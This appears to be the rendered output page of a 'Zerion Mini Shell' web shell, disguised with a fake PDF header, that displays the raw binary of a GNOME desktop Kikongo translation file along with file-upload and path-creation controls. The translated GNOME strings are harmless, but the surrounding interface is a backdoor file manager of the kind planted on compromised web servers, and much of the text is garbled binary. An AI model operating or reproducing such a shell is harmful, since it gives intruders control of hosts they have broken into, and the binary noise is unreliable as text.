%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/kg/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/kg/LC_MESSAGES/gnome-desktop-3.0.mo

��2�C<HI]x��
��$�D�<C�)���
���|kn��W���q3	:	Q	`	w	|	�	�	�	�	�	�		
	&
0
%J
'p
)�
'�
:�
+%IQF���*�t�iP
9�
A�
6Jet���"�I�O%u)}�����=`?���|g��z��	�����!�	(G[l|1�%�(�/BI+�U�D�S8qOv�6802 .)'%

/"#*,-(&!	1+$%(name)s: %(value)s<b>%(name)s:</b> %(value)sAbout GNOMEAbout the GNOME DesktopBrought to you by:Build DateCRTC %d cannot drive output %sCRTC %d does not support rotation=%sCRTC %d: trying mode %dx%d@%dHz with output at %dx%d@%dHz (pass %d)
Cannot find a terminal, using xterm, even if it may not workContactDisplay information on this GNOME versionDistributorFriends of GNOMEGNOME LibraryGNOME also includes a complete development platform for applications programmers, allowing the creation of powerful and complex applications.GNOME includes most of what you see on your computer, including the file manager, web browser, menus, and many applications.GNOME is a Free, usable, stable, accessible desktop environment for the Unix-like family of operating systems.GNOME's focus on usability and accessibility, regular release cycle, and strong corporate backing make it unique among Free Software desktops.GNOME's greatest strength is our strong community. Virtually anyone, with or without coding skills, can contribute to making GNOME better.Hundreds of people have contributed code to GNOME since it was started in 1997; many more have contributed in other important ways, including translations, documentation, and quality assurance.LaptopLearn more about GNOMEMirror ScreensMonitor vendorUnknownNewsRANDR extension is not presentThe Mysterious GEGLThe Squeaky Rubber GNOMETrying modes for CRTC %d
VersionWanda The GNOME FishWelcome to the GNOME Desktop_Copy URL_Open URLcannot clone to output %scould not assign CRTCs to outputs:
%scould not get information about CRTC %dcould not get information about output %dcould not get the range of screen sizescould not get the screen resources (CRTCs, outputs, modes)could not set the configuration for CRTC %dnone of the saved display configurations matched the active configurationnone of the selected modes were compatible with the possible modes:
%soutput %s does not have the same parameters as another cloned output:
existing mode = %d, new mode = %d
existing coordinates = (%d, %d), new coordinates = (%d, %d)
existing rotation = %s, new rotation = %soutput %s does not support mode %dx%d@%dHzrequested position/size for CRTC %d is outside the allowed limit: position=(%d, %d), size=(%d, %d), maximum=(%d, %d)required virtual size does not fit available size: requested=(%d, %d), minimum=(%d, %d), maximum=(%d, %d)unhandled X error while getting the range of screen sizesProject-Id-Version: gnome-desktop HEAD
Report-Msgid-Bugs-To: 
PO-Revision-Date: 2010-10-04 21:48+0100
Last-Translator: Kibavuidi Nsiangani <lundombe01@zaya-dio.com>
Language-Team: Kikongo, kg <lundombe01@zaya-dio.com>
Language: kg
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
%(name)s: %(value)s<b>%(name)s:</b> %(value)smambu ma gnomensangu za gnomensonikidiatugama mucrtc %d, bu kidiatisa %s nkatuCRTC %d kayizeye mveengulani=%s koCRTC %d: ngita meka  nsongolo yi %dx%d@%dHz ye %dx%d@%dHz (bua mbote %d)
nanga ilemba sala kansi ngieti sadila xterm kaka, kadi nkele ka yi monekene ko.ma bilasongae mafiuma ma luteezolo elu kia gnomentekinkundi za gnomekinsasilu kia gnomegnome yena ye luuvu kiantunga bisalasala, mu bantungi kisalasala ye luvu kiokio kivananga mpuasika mu tunga bisalasala biampimpita ye biangolomamo maalanga muntu mu yandi nsikidisi, makalaanga mu gnome. gnome yi lusadilu lua mpensa, lua lenga, lua mbote mu lundombe.gnome usanga ntima mu kala bulenga, bunsalakana, nsaluka za mbote ye lusadisu luambote. I diodio i dia nsisi kati kua mayanzala mampensangolo za gnome mu buntuadi buandi zituukanga. vo uzeye tunga bisalasala vo kuzeye ko, lendele vana lusadisu mu tomesa gnome.nkama za bantu bamana vana lusadisu luau muna tungulua gnome, tuuka mu luyantikulu andi mu 1997; bankaka keti mu sekola, mu sasila evo muna fimpa yo.nsikidisi a kokolongoka mambu mankaka ma gnomebitalatala bioledianzenzansanguki randr ka i monekene kogeglluaaza lua gnomensongolo za crtc ngieti meka: %d
luteezolowanda wa mbizi a maza ya gnometoma luaka mu gnome_tangininae kiziweenda ku _kizikileendi fuanikisa ku %s kozi crtc ye binsongalala, bu i ba waawasa nkatu
%snsangu za crtc %d, bu yavewa zo nkatunsangu za kiduukilu %d bu ibaka zo nkatubiteezolo bia kiansongalala, bu ivewa bio nkatumambu ma kiansonga (crtc, biduukilu, nsongolo), bu yavewa mo nkatunkubukulu za crtc %d, bu itatanesa zo nkatumu nkubukulu zazo zi monekene mu nti yi, ka vena mosi ko yikuenda betila ye zaku bubumu nsongolo zazo zi meni solua, ka yena mosi ko yina ya beetila:
 %skiansongalala %s  ye kifuanisu kiandi, mosi mosi ye nkubukulu andi:
nsongolo yankulu = %d, yampa= %d
bintulani biankulu= (%d, %d), biampa = (%d, %d)
mveengulani akulu = %s, mveengulani ampa = %s nduukilu %s ka yilendi sadila nsongolo zozo %dx%d@%dHz,nkubu ulombele mu crtc %d kena va kati kua ndelo zabetila ko: kitudilu=(%d, %d), teezolo=(%d, %d), yongi=(%d, %d)teezo biangindula ka bina bia betila ko ye bia lundombe luaku: bi uyuvudi=(%d, %d), bia nsi=(%d, %d), bianene=(%d, %d)mpitakani mu X bu ikele baka teezolo bia kiansongalala

Zerion Mini Shell 1.0